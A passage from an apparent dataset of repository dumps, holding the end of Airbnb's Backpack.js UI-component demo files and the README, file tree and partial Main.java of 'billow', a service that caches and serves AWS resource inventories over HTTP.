src=\"./lib/Backpack-bundle.js\" type=\"text/javascript\"></script>\n\n <script>\n $(function() {\n prettyPrint(); // thanks Google\n\n var menu = new Backpack.Menu({\n parent: '#sidebar',\n addClass: 'backpack-list',\n add: [{\n content: 'Introduction',\n events: '#Introduction'\n },{\n content: 'Overview',\n events: '#Overview',\n addClass: 'sidebar-overview'\n },{\n content: 'Swipe.js Example Component',\n events: '#Make'\n },{\n content: 'Hack on Backpack',\n events: '#Contribute',\n addClass: 'sidebar-contribute'\n },{\n content: 'Github',\n events: 'http://github.com/airbnb/backpack.js'\n },{\n content: \"<img height='25' src='http://a1.muscache.com/s/1318028912/images/logos/106x40.png' />\",\n events: \"http://nerds.airbnb.com\",\n addClass: 'sidebar-logo'\n }]\n }),\n\n\n modalTabs = new Backpack.Tabs({\n parent: '.modal-code',\n addClass: 'round-top chrome',\n add: [{\n content: 'Popup',\n tabContent: $('.popup').html()\n },{\n content: 'Lightbox',\n tabContent: $('.lightbox').html()\n }]\n }),\n\n\n menuTabs = new Backpack.Tabs({\n parent: '.menu-code',\n addClass: 'round-top chrome',\n add: [{\n content: 'Simple',\n tabContent: $('.simple').html()\n },{\n content: 'Press',\n tabContent: $('.press').html()\n },{\n content: 'List',\n tabContent: $('.list').html()\n }]\n }),\n\n\n tabTabs = new Backpack.Tabs({\n parent: '.tab-code',\n addClass: 'round-top chrome',\n show: true,\n add: [{\n content: 'Tab 1',\n tabContent: $('.tab').html()\n },{\n content: 'Tab 2',\n tabContent: $('.tab2').html()\n }]\n }),\n\n layoutTabs = new Backpack.Tabs({\n parent: '.layout-code',\n addClass: 'round-top chrome',\n show: true,\n add: [{\n content: 'Basic',\n tabContent: $('.basic').html()\n }]\n }),\n\n swipeTabs = new Backpack.Tabs({\n parent: '.swipe-code',\n addClass: 'round-top chrome',\n add: [{\n content: 'Example',\n tabContent: $('.gallery').html()\n },{\n content: 'Swipe Component',\n tabContent: $('.swipe').html()\n }]\n }),\n\n\n components = new Backpack.Menu({\n parent: '.sidebar-overview',\n addClass: 'backpack-list',\n add: [{\n content: '- Backpack',\n events: '#BP'\n },{\n content: '- Backpack.Component',\n events: '#Component'\n },{\n content: '- Backpack.Tabs',\n events: '#Tabs'\n },{\n content: '- Backpack.Menu',\n events: '#Menu'\n },{\n content: '- Backpack.Modal',\n events: '#Modal'\n }\n ,{\n content: '- Backpack.Layout',\n events: '#Layout'\n }\n ]\n }),\n\n\n contribute = new Backpack.Menu({\n parent: '.sidebar-contribute',\n addClass: 'backpack-list',\n add: [{\n content: '- Getting Started',\n events: '#Started'\n },{\n content: '- Cake Build Tools',\n events: '#Cake'\n },{\n content: '- Jasmine Tests',\n events: '#Test'\n }]\n });\n\n window.mySwipe = new Backpack.Swipe({\n parent: '.swipe-gallery',\n content: [\"<img width='500' src='assets/img/swipe/1.jpg'/>\",\n \"<img width='500' src='assets/img/swipe/2.jpg'/>\",\n \"<img width='500' src='assets/img/swipe/3.jpg'/>\",\n \"<img width='500' src='assets/img/swipe/4.jpg'/>\",\n \"<img width='500' src='assets/img/swipe/5.jpg'/>\"],\n speed: 400,\n continuous: true,\n disableScroll: false,\n callback: function(index, elem) {},\n transitionEnd: function(index, elem) {},\n visible: true\n });\n });\n </script>\n </body>\n</html>\n", "index.js": "module.exports = require('./lib/Backpack-bundle');", "package.json": "{\n \"private\": true\n , \"name\": \"Backpack\"\n , \"description\": \"A backpack full of UI components for your Backbone.js projects\"\n , \"version\": \"0.0.1\"\n , \"main\": \"./lib/Backpack-bundle\"\n , \"homepage\": \"https://github.com/airbnb/backpack.js\"\n , \"keywords\": [\n \"ui\"\n , \"backbone\"\n , \"backpack\"\n , \"airbnb\"\n ]\n , \"authors\": [\n \"Harrison Shoff <@hshoff>\"\n ]\n , \"repository\": { \n \"type\": \"git\"\n , \"url\": \"https://github.com/airbnb/backpack.js.git\"\n }\n , \"engine\": { \n \"node\": \">=0.6\"\n }\n , \"scripts\": { \n \"test\": \"cake test\"\n }\n , \"dependencies\": {\n \"backbone\": \"0.9.x\"\n , \"underscore\": \"1.3.x\"\n }\n , \"devDependencies\": {\n \"coffee-script\": \"1.2.x\"\n , \"docco\": \"*\"\n , \"uglify-js\": \"*\"\n }\n}", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "example\\index.html": "<!DOCTYPE HTML>\n<html lang=\"en-us\">\n <head>\n <meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\">\n <title>Backpack.js</title>\n <link rel=\"stylesheet\" href=\"../lib/css/Backpack.css\" type=\"text/css\" media=\"screen\">\n\n <script src=\"../vendor/jquery.js\"></script>\n <script src=\"../vendor/underscore.js\" type=\"text/javascript\"></script>\n <script src=\"../vendor/backbone.js\" type=\"text/javascript\"></script>\n <script src=\"../lib/Backpack-bundle.js\" type=\"text/javascript\"></script>\n </head>\n <body class='backpack'>\n <div class='container' style='width: 960px; margin: 0 auto;'>\n <aside id='sidebar' style='float: left; width: 260px; padding-right: 40px;'></aside>\n <section id='docs' style='width: 660px; float:left;'></section>\n </div>\n <script>\n $(function(){\n\n /*============================================\n * SECTION 1\n ============================================*/\n // ------------------------------------\n // Backpack.Menu\n // ------------------------------------\n var menu = new Backpack.Menu({ \n parent: '#docs',\n show: true,\n addClass: 'press',\n before: \"<h2>Backpack.Menu</h2>\",\n after: \"<br/><br/><br/>\",\n add: \n [\n {\n content: \"Menu Item 1\", \n events: { \n 'mouseenter': function() {\n this.addClass('hover');},\n 'mouseleave': function() {\n this.removeClass('hover');\n } \n }\n }, \n {\n content: \"Menu Item 2\",\n events: {\n 'mouseleave': function() {\n console.log('mouseleave');}\n } \n },\n {\n content: \"Menu Item 3\" \n }\n ]\n }),\n\n github = new Backpack.MenuItem({ \n content: \"Download on Github\",\n events: \"http://github.com/airbnb/backpack.js\"\n });\n\n menu.add(github.bump('right'));\n\n // ------------------------------------\n // Backpack.Menu List\n // ------------------------------------\n var listMenu = new Backpack.Menu({\n parent: \"#sidebar\",\n show: true,\n addClass: 'backpack-list',\n before: \"<h2>Backpack.Menu List</h2>\",\n after: \"<br/><br/><br/>\",\n add: \n [\n {\n content: \"List Item 1\"\n },\n {\n content: \"List Item 2\"\n },\n {\n content: \"List Item 3\"\n },\n {\n content: \"List Item 4\"\n },\n {\n content: \"List Item 5\"\n }\n ]\n });\n\n /*============================================\n * SECTION 2\n ============================================*/\n var modalExamples = new Backpack.Menu({ \n parent: '#docs',\n show: true,\n before: \"<h2>Backpack.Modal & Backpack.Overlay</h2>\",\n after: \"<div class='clearfix'/><br/><br/><br/>\",\n addClass: 'clearfix',\n bump: 'left'\n });\n\n // ------------------------------------\n // Backpack.Modal\n // ------------------------------------\n modalExamples.add({ \n content: 'Modal'\n , events: \n function(){ \n new Backpack.Modal({ \n content: \"<p>This is a simple Modal.</p><p>This particular Modal only aspires to be a Modal. But there's much more that a Modal could be...</p>\",\n show: true\n })\n }\n });\n\n // ------------------------------------\n // Backpack.Modal with an Overlay\n // ------------------------------------\n modalExamples.add({ \n content: 'Modal + Overlay',\n events: {\n 'hover': function() { console.log('hover') },\n 'click': function(){ \n new Backpack.Modal({\n content: \"<p>This Modal is a bit fancier.</p>\" +\n \"<p>It's got a classy overlay in the background. This says, 'hey look at me, I'm a Modal.'</p>\" +\n \"<p>That's what we shoot for.</p>\",\n color: 'rgba(0,0,0,0.7)',\n lockOverlay: false,\n // closable: false\n })\n }\n }\n });\n\n // ------------------------------------\n // Backpack.Modal with a locked Overlay\n // ------------------------------------\n modalExamples.add({ \n content: 'Modal + Overlay 2',\n events: \n function(){ \n new Backpack.Modal({\n content: \"<p>This would be the monocle of modals.</p><p>It's got a locked overlay and show's how easy it is to change the overlay color.</p>\",\n color: 'rgba(255,255,255,0.7)',\n lockOverlay: true\n })\n }\n });\n\n\n modalExamples.add({\n content: \"Handles Overflow\",\n events: \n function(){ \n new Backpack.Modal({\n content:\n \"<br/><h2>Look how long this modal is.</h2><hr/>\" + \n \"<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod\" +\n \"tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,\" +\n \"quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo\" +\n \"consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse\" +\n \"cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non\" +\n \"proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>\" +\n\n \"<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod\" +\n \"tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,\" +\n \"quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo\" +\n \"consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse\" +\n \"cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non\" +\n \"proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>\" +\n\n \"<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod\" +\n \"tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,\" +\n \"quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo\" +\n \"consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse\" +\n \"cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non\" +\n \"proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>\" +\n\n \"<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod\" +\n \"tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,\" +\n \"quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo\" +\n \"consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse\" +\n \"cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non\" +\n \"proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>\" +\n\n \"<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod\" +\n \"tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,\" +\n \"quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo\" +\n \"consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse\" +\n \"cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non\" +\n \"proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>\" +\n\n \"<br/><h2>Notice the fixed Background?</h2><hr/>\" + \n\n \"<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod\" +\n \"tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,\" +\n \"quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo\" +\n \"consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse\" +\n \"cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non\" +\n \"proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>\" +\n\n \"<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod\" +\n \"tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,\" +\n \"quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo\" +\n \"consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse\" +\n \"cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non\" +\n \"proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>\" +\n\n \"<br/><h2>Try resizing the window.</h2><hr/>\" +\n \"<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod\" +\n \"tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,\" +\n \"quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo\" +\n \"consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse\" +\n \"cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non\" +\n \"proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>\",\n color: 'rgba(0,0,0,0.7)',\n lockOverlay: true\n })\n }\n })\n\n\n\n /*============================================\n * SECTION 3\n ============================================*/\n // ------------------------------------\n // Backpack.Tabs\n // ------------------------------------\n var tabs = new Backpack.Tabs({\n parent: '#docs',\n show: true,\n before: '<h2>Backpack.Tabs</h2>',\n add: \n [\n {\n content: 'Tab 1',\n tabContent: \n '<h4>This is Tab 1</h4>' +\n '<p>tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,' +\n 'quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo' +\n 'consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse' +\n 'cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non' +\n 'proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>'\n },\n {\n content: 'Tab 2',\n tabContent: \n '<h4>This is Tab 2</h4>' +\n '<p>tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,' +\n 'quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo' +\n 'consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse' +\n 'cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non' +\n 'proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>'\n },\n {\n content: 'Tab 3',\n tabContent: \n '<h4>This is Tab 3</h4>' +\n '<p>tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,' +\n 'quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo' +\n 'consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse' +\n 'cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non' +\n 'proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>'\n }\n ]\n });\n\n var tabs2 = new Backpack.Tabs({\n parent: '#docs',\n show: true,\n active: 3,\n add: \n [\n {\n content: 'Tab 1',\n tabContent: \n '<h4>This is Tab 1</h4>' +\n '<p>quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo.</p>'\n },\n {\n content: 'Tab 2',\n tabContent: \n '<h4>This is Tab 2</h4>' +\n '<p>tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam.</p>'\n },\n {\n content: 'Tab 3',\n tabContent: \n '<h4>This is Tab 3</h4>' +\n '<p>consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse.</p>'\n },\n {\n content: 'Tab 4',\n tabContent: \n '<h4>This is Tab 4</h4>' +\n '<p>proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>'\n },\n {\n content: 'Tab 5',\n tabContent: \n '<h4>This is Tab 5</h4>' +\n '<p>tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam.</p>'\n }\n ]\n });\n\n \n });\n </script>\n </body>\n</html>\n"} | null |
billow | {"type": "directory", "name": "billow", "children": [{"type": "file", "name": "LICENSE.txt"}, {"type": "file", "name": "pom.xml"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "billow", "children": [{"type": "file", "name": "AWSDatabase.java"}, {"type": "file", "name": "AWSDatabaseHolder.java"}, {"type": "file", "name": "AWSDatabaseHolderRefreshJob.java"}, {"type": "file", "name": "DynamoTable.java"}, {"type": "file", "name": "EC2Instance.java"}, {"type": "file", "name": "ElasticacheCluster.java"}, {"type": "file", "name": "ElasticsearchCluster.java"}, {"type": "file", "name": "Handler.java"}, {"type": "file", "name": "IAMUserWithKeys.java"}, {"type": "file", "name": "Main.java"}, {"type": "file", "name": "RDSInstance.java"}, {"type": "file", "name": "SQSQueue.java"}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "banner.txt"}, {"type": "file", "name": "logback.xml"}, {"type": "file", "name": "reference.conf"}]}]}]}]} | # billow: inspect the cloud #
**As-is:** This project is not actively maintained or supported.
While updates may still be made and we welcome feedback, keep in mind we may not respond to pull
requests or issues quickly.
**Let us know!** If you fork this, or if you use it, or if it helps in anyway, we'd love to hear
from you! [email protected]
## Goal ##
Query AWS data without API credentials. Don't wait for a response.
## Examples ##
Please look at
[Billow in action](https://github.com/airbnb/billow/wiki/Billow-in-action) in the Wiki
and start contributing!
$ curl -sf billow.d.musta.ch/ec2 | jq '.[] | .az'
$ curl -sf "billow.d.musta.ch/ec2?q=$(urlencode 'key=="igor"')" |jq '.[]|.daysOld' | statistik
$ curl -sf 'billow.d.musta.ch/ec2?f=type' | jq -r '.[]|.type' | suc -r
## API ##
*The API is in a very early stage. Everything is subject to change.*
### Optional parameters ###
The `ec2`, `dynamo`, `sqs` and `elasticache` queries support following optional parameters:
- `q` / `query`: OGNL expression used to filter. Example:
- `id>100&&readCapacityUnits>10`
- `s` / `sort`: OGNL expression used as a ``Comparable`` to sort (default to no ordering). Example:
- `s=itemCount`
- `l` / `limit`: maximum number of records to return. Example:
- `l=10`
- `f` / `field`: comma-separated list of fields to display(defaults to all). Examples:
- `f=tableName,tableStatus`
- `f=tableName`
Sample query: show readCapacityUnits and tableName of all tables sorted by readCapacity:
``/dynamo?s=readCapacityUnits&&f=readCapacityUnits,tableName&&l=3``
Sample response:
```
[
{
tableName: "table_foo",
readCapacityUnits: 1
},
{
tableName: "table_bar",
readCapacityUnits: 2
},
{
tableName: "table_baz",
readCapacityUnits: 3
}
]
```
### EC2 Query ###
#### /ec2/sg ####
List all ec2 security groups.
#### /ec2/all ####
List all ec2 instances.
#### /ec2 ####
Search ec2 instances with optional parameters.
Fields of ec2 instances:
```
{
id: "id_foo",
type: "m1.xlarge",
lifecycle: null,
hypervisor: "xen",
az: "eu-west-1a",
group: "",
tenancy: "default",
platform: null,
kernel: "aki-62695816",
key: "ops.2011-12-21",
image: "ami-81c5fdf5",
privateIP: null,
publicIP: null,
publicHostname: "",
privateHostname: "",
architecture: "x86_64",
state: "stopped",
ramdisk: null,
subnet: null,
rootDeviceName: "/dev/sda1",
rootDeviceType: "ebs",
stateTransitionReason: "User initiated",
spotInstanceRequest: null,
virtualizationType: "paravirtual",
sourceDestCheck: null,
stateReason: "Server.ScheduledStop: Stopped due to scheduled retirement",
vpc: null,
tags: {
Name: "roambi"
},
launchTime: 1341250030000,
securityGroups: [
{
id: "sg-4e20d876",
name: "Open Web Server"
}
],
iamInstanceProfile: "arn:aws:iam::123456789012:instance-profile/sample-Iamrole",
daysOld: 1352.2294
}
```
### RDS Query ###
#### /rds/all ####
List all RDS resources.
### DynamoDB Query ###
#### /dynamo ####
Search tables in DynamoDB with optional parameters.
Fields(``readCapacityUnits`` and ``writeCapacityUnits`` are pulled out of
``provisionedThroughput`` which allows users to sort with these attributes):
```
{
"tableName": "table_foo",
"attributeDefinitions": "[{AttributeName: foo,AttributeType: S}]",
"tableStatus": "ACTIVE",
"keySchema": "[{AttributeName: foo,KeyType: HASH}]",
"creationDateTime": 1457475410,
"numberOfDecreasesToday": 0,
"readCapacityUnits": 1,
"writeCapacityUnits": 1,
"tableSizeBytes": 0,
"itemCount": 0,
"tableArn": "arn:aws:dynamodb:us-east-1:user_id:table/table_foo,
"provisionedThroughput": "{NumberOfDecreasesToday: 0,ReadCapacityUnits: 1,
WriteCapacityUnits: 1}"
}
```
### SQS Query ###
#### /sqs ####
Search queues in SQS with optional parameters.
Fields of SQS queues:
```
{
url: "https://sqs.us-east-1.amazonaws.com/test_account/db1",
approximateNumberOfMessagesDelayed: 0,
receiveMessageWaitTimeSeconds: 0,
createdTimestamp: 1455227837,
delaySeconds: 0,
messageRetentionPeriod: 1209600,
maximumMessageSize: 262144,
visibilityTimeout: 600,
approximateNumberOfMessages: 0,
lastModifiedTimestamp: 1457640519,
queueArn: "arn:aws:sqs:us-east-1:test_account:db1"
}
```
### Elasticache Query ###
#### /elasticache/cluster ####
Search provisioned cache clusters with optional parameters.
Fields of elasticache clusters:
```
{
cacheClusterId: "cluster_foo",
configurationEndpoint: null,
cacheNodeType: "cache.m1.small",
engine: "memcached",
engineVersion: "1.4.14",
cacheClusterStatus: "available",
numCacheNodes: 1,
preferredAvailabilityZone: "us-east-1e",
cacheClusterCreateTime: 1378321573582,
preferredMaintenanceWindow: "fri:05:00-fri:07:00",
pendingModifiedValues: "{CacheNodeIdsToRemove: [],}",
notificationConfiguration: "{TopicArn: arn:aws:sns:us-east-1:test_account:db1,TopicStatus: active}",
cacheSecurityGroups: "[]",
cacheParameterGroup: "{CacheParameterGroupName: default.memcached1.4,ParameterApplyStatus: in-sync,CacheNodeIdsToReboot: []}",
cacheSubnetGroupName: null,
cacheNodes: "[]",
autoMinorVersionUpgrade: true,
securityGroups: "[]",
replicationGroupId: null,
snapshotRetentionLimit: null,
snapshotWindow: null
}
```
### Elasticsearch Query ###
#### /elasticsearch ####
Fields of elasticsearch domains:
```
```
### IAM Query ###
#### /iam ####
List IAM user credentials.
## Configuration ##
### AWS ###
We strongly recommend creating a dedicated IAM user.
Here is the required User Policy:
{
"Statement": [
{ "Action": [
"ec2:DescribeRegions",
"ec2:DescribeInstanceAttribute",
"ec2:DescribeInstanceStatus",
"ec2:DescribeInstances",
"ec2:DescribeSecurityGroups",
"rds:DescribeDBInstances",
"iam:GetUser",
"iam:ListUsers",
"iam:ListAccessKeys"
],
"Effect": "Allow",
"Resource": [ "*" ]
}
]
}
### Local configuration ###
We use Typesafe's config.
Look at the `reference.conf` resource for the available parameters.
To get quickly started, pass the following parameters to the JVM: `-Dbillow.aws.accessKeyId=HELLO -Dbillow.aws.secretKeyId=WoRld`.
Note: For local development, ensure that you remove the `profile ` prefix from
profile names in `~/.aws/config` and `~/.aws/credentials` if you are using
those. This is due to a mis-match in what the AWS Python SDK expects and what this
version of the Java SDK expects. [More details here.](https://github.com/aws/aws-sdk-java/issues/1707)
## Monitoring guide ##
We expose an admin port offering metrics and health checks.
See http://127.0.0.1:8081/ by default.
## References ##
- OGNL: http://commons.apache.org/proper/commons-ognl/language-guide.html
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "src\\main\\java\\com\\airbnb\\billow\\Main.java": "package com.airbnb.billow;\n\nimport com.codahale.metrics.CachedGauge;\nimport com.codahale.metrics.Gauge;\nimport com.codahale.metrics.MetricRegistry;\nimport com.codahale.metrics.health.HealthCheck;\nimport com.codahale.metrics.health.HealthCheckRegistry;\nimport com.codahale.metrics.jetty9.InstrumentedHandler;\nimport com.codahale.metrics.servlets.AdminServlet;\nimport com.codahale.metrics.servlets.HealthCheckServlet;\nimport com.codahale.metrics.servlets.MetricsServlet;\nimport com.google.common.base.Charsets;\nimport com.google.common.io.Resources;\nimport com.typesafe.config.Config;\nimport com.typesafe.config.ConfigException;\nimport com.typesafe.config.ConfigFactory;\nimport lombok.extern.slf4j.Slf4j;\nimport org.coursera.metrics.datadog.DatadogReporter;\nimport org.coursera.metrics.datadog.transport.UdpTransport;\nimport org.eclipse.jetty.server.*;\nimport org.eclipse.jetty.servlet.ServletContextHandler;\nimport org.eclipse.jetty.servlet.ServletHolder;\nimport org.quartz.JobDetail;\nimport org.quartz.Scheduler;\nimport org.quartz.SimpleTrigger;\nimport org.quartz.impl.StdSchedulerFactory;\n\nimport javax.servlet.ServletContext;\nimport java.io.IOException;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.google.common.io.Resources.getResource;\nimport static org.quartz.JobBuilder.newJob;\nimport static org.quartz.SimpleScheduleBuilder.simpleSchedule;\nimport static org.quartz.TriggerBuilder.newTrigger;\n\n@Slf4j\npublic class Main {\n\n private Main(Config config) throws Exception {\n log.info(\"Startup...\");\n\n try {\n System.out.println(Resources.toString(getResource(\"banner.txt\"), Charsets.UTF_8));\n } catch (IllegalArgumentException | IOException e) {\n log.debug(\"No banner.txt\", e);\n }\n\n final MetricRegistry metricRegistry = new MetricRegistry();\n final HealthCheckRegistry healthCheckRegistry = new HealthCheckRegistry();\n\n log.info(\"Creating database\");\n\n final Config awsConfig = config.getConfig(\"aws\");\n final Long refreshRate = awsConfig.getDuration(\"refreshRate\", TimeUnit.MILLISECONDS);\n\n final AWSDatabaseHolder dbHolder = new AWSDatabaseHolder(awsConfig);\n\n final Gauge<Long> cacheAgeGauge = new CachedGauge<Long>(1, TimeUnit.MINUTES) {\n @Override\n protected Long loadValue() {\n return dbHolder.getCurrent().getAgeInMs();\n }\n };\n\n final String databaseAgeMetricName = MetricRegistry.name(\"billow\", \"database\", \"age\", \"ms\");\n final String jobFailureMetricName = MetricRegistry.name(\"billow\", \"database\", \"refresh\", \"start\");\n final String jobStartMetricName = MetricRegistry.name(\"billow\", \"database\", \"refresh\", \"failure\");\n final String jobSuccessMetricName = MetricRegistry.name(\"billow\", \"database\", \"refresh\", \"success\");\n\n metricRegistry.register(databaseAgeMetricName, cacheAgeGauge);\n\n final Scheduler scheduler = StdSchedulerFactory.getDefaultScheduler();\n scheduler.getContext().put(AWSDatabaseHolderRefreshJob.DB_KEY, dbHolder);\n scheduler.getContext().put(AWSDatabaseHolderRefreshJob.START_COUNTER_KEY, metricRegistry.counter(jobStartMetricName));\n scheduler.getContext().put(AWSDatabaseHolderRefreshJob.FAILURE_COUNTER_KEY, metricRegistry.counter(jobFailureMetricName));\n scheduler.getContext().put(AWSDatabaseHolderRefreshJob.SUCCESS_COUNTER_KEY, metricRegistry.counter(jobSuccessMetricName));\n scheduler.start();\n\n final SimpleTrigger trigger = newTrigger().\n withIdentity(AWSDatabaseHolderRefreshJob.NAME).\n startNow().\n withSchedule(simpleSchedule().withIntervalInMilliseconds(refreshRate).repeatForever()).\n build();\n\n final JobDetail jobDetail = newJob(AWSDatabaseHolderRefreshJob.class).\n withIdentity(AWSDatabaseHolderRefreshJob.NAME).\n build();\n\n scheduler.scheduleJob(jobDetail, trigger);\n\n log.info(\"Creating age health check\");\n healthCheckRegistry.register(\"DB\", new HealthCheck() {\n @Override\n protected Result check() throws Exception {\n return dbHolder.healthy();\n }\n });\n\n log.info(\"Creating HTTP servers\");\n final Server mainServer = new Server(config.getInt(\"mainPort\"));\n final Server adminServer = new Server(config.getInt(\"adminPort\"));\n\n configureConnectors(mainServer);\n configureConnectors(adminServer);\n\n log.info(\"Creating HTTP handlers\");\n final Handler mainHandler = new Handler(metricRegistry, dbHolder, refreshRate);\n final InstrumentedHandler instrumentedHandler =\n new InstrumentedHandler(metricRegistry);\n instrumentedHandler.setHandler(mainHandler);\n\n mainServer.setHandler(instrumentedHandler);\n\n final ServletContextHandler adminHandler = new ServletContextHandler();\n adminHandler.addServlet(new ServletHolder(new AdminServlet()), \"/*\");\n\n final Config datadogConfig = config.getConfig(\"datadog\");\n if (datadogConfig.getBoolean(\"enabled\")) {\n log.info(\"Enabling datadog reporting...\");\n int datadogPort = datadogConfig.hasPath(\"port\") ? datadogConfig.getInt(\"port\") : 8125;\n DatadogReporter datadogReporter = DatadogReporter.forRegistry(metricRegistry).\n withTransport(new UdpTransport.Builder().withPort(datadogPort).build()).build();\n datadogReporter.start(1, TimeUnit.MINUTES);\n }\n\n final ServletContext adminContext = adminHandler.getServletContext();\n adminContext.setAttribute(MetricsServlet.METRICS_REGISTRY, metricRegistry);\n adminContext.setAttribute(HealthCheckServlet.HEALTH_CHECK_REGISTRY, healthCheckRegistry);\n adminServer.setHandler(adminHandler);\n\n log.info(\"Starting HTTP servers\");\n\n adminServer.start();\n mainServer.start();\n\n log.info(\"Joining...\");\n\n mainServer.join();\n adminServer.join();\n\n log.info(\"Shutting down scheduler...\");\n\n scheduler.shutdown();\n\n log.info(\"We're done!\");\n }\n\n public static void main(String[] args) {\n try {\n final Config config = ConfigFactory.load().getConfig(\"billow\");\n try {\n System.setProperty(\"aws.accessKeyId\", config.getString(\"aws.accessKeyId\"));\n System.setProperty(\"aws.secretKey\", config.getString(\"aws.secretKeyId\"));\n } catch (ConfigException.Missing _) {\n 